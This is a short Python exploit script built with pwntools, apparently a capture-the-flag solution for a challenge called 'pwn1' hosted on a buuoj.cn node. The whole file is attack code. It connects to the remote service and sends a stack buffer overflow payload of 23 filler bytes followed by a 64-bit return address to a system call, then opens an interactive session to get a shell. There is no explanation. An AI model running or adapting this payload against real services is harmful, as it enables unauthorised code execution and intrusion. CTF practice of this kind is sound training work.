#!/usr/bin/env python
# coding=utf-8
from pwn import *

# io = process('./pwn1')
io = remote('node3.buuoj.cn', 28352)
system_addr = 0x40118A
offset = 23
payload = b'a' * offset + p64(system_addr)

io.sendline(payload)
io.interactive()
